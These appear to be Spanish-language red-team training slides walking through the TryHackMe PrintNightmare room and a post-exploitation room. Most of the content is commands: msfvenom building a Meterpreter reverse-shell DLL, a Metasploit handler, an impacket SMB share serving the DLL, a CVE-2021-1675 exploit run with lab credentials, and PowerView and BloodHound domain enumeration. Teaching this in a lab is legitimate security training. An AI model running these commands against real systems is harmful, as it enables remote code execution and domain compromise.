
Day Five: All is in mind  

“PWN LIKE A MDFK ft. 
RED TEAM VIEW”



DUDAS, COMENTARIOS, 
PETICIONES…



Try Hack Me : PrintNightmare

https://tryhackme.com/room/printnightmarehpzqlp8 

La vulnerabilidad Print 

Nightmare es un exploit de 

carácter «criticó» que 

afecta a la cola de 

impresión de Windows. Esta 

vulnerabilidad brinda la 

posibilidad a los 

atacantes de ejecutar 

códigos remotos en 

dispositivos en red que 

empleen impresoras.

https://tryhackme.com/room/printnightmarehpzqlp8
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msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.18.18.97 
LPORT=4444 -f dll -o ./m.dll
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msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.18.18.97 
LPORT=4444 -f dll -o ./m.dll

● use exploit/multi/handler
● set payload windows/x64/meterpreter/reverse_tcp
● set lhost VALUE 
● set lport VALUE
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msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.18.18.97 
LPORT=4444 -f dll -o ./m.dll

msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.18.18.97:4444
msf6 exploit(multi/handler) >

https://tryhackme.com/room/printnightmarehpzqlp8
https://medium.com/system-weakness/printnightmare-gain-rce-privesc-on-windows-machines-a74f37b31ad
https://medium.com/system-weakness/printnightmare-gain-rce-privesc-on-windows-machines-a74f37b31ad


Try Hack Me : PrintNightmare

https://tryhackme.com/room/printnightmarehpzqlp8 

impacket-smbserver.py share /root/Desktop/share/ -smb2support

https://tryhackme.com/room/printnightmarehpzqlp8


Try Hack Me : PrintNightmare

https://tryhackme.com/room/printnightmarehpzqlp8 

https://tryhackme.com/room/printnightmarehpzqlp8


Try Hack Me : PrintNightmare

https://tryhackme.com/room/printnightmarehpzqlp8 

impacket-smbserver.py share /root/Desktop/share/ -smb2support

impacket-rpcdump.py @<MACHINE> | egrep 'MS-RPRN|MS-PAR' 

https://tryhackme.com/room/printnightmarehpzqlp8


Try Hack Me : PrintNightmare

https://tryhackme.com/room/printnightmarehpzqlp8 

impacket-smbserver.py share /root/Desktop/share/ -smb2support

impacket-rpcdump.py @<MACHINE> | egrep 'MS-RPRN|MS-PAR' 

https://tryhackme.com/room/printnightmarehpzqlp8


Try Hack Me : PrintNightmare

https://tryhackme.com/room/printnightmarehpzqlp8 

impacket-smbserver.py share /malicius/dll/path -smb2support

impacket-rpcdump.py @<MACHINE> | egrep 'MS-RPRN|MS-PAR' 

sudo python3 CVE-2021-1675.py 
Finance-01.THMdepartment.local/sjohnston:mindheartbeauty76@10.10.237.104 
'\\10.18.18.97\share\malicious.dll' 
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sudo python3 CVE-2021-1675.py 
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THM : Welcome POST-Explotation

PS C:\Users\Administrator> Get-NetUser | select cn

PS C:\Users\Administrator> Get-NetGroup -GroupName *admin*

Powerview commands: https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993 

https://tryhackme.com/room/postexploit 

PS C:\Users\Administrator> Invoke-ShareFinder

PS C:\Users\Administrator> Get-NetComputer -fulldata | select operatingsystem
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PS C:\Users\Administrator> . .\Downloads\SharpHound.ps1

PS C:\Users\Administrator> Invoke-Bloodhound -CollectionMethod 
All -Domain CONTROLLER.local -ZipFileName loot.zip
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PS C:\Users\Administrator> . .\Downloads\SharpHound.ps1

PS C:\Users\Administrator> Invoke-Bloodhound -CollectionMethod 
All -Domain CONTROLLER.local -ZipFileName loot.zip

kali@kali~$ sudo neo4j console

kali@kali~$ bloodhound
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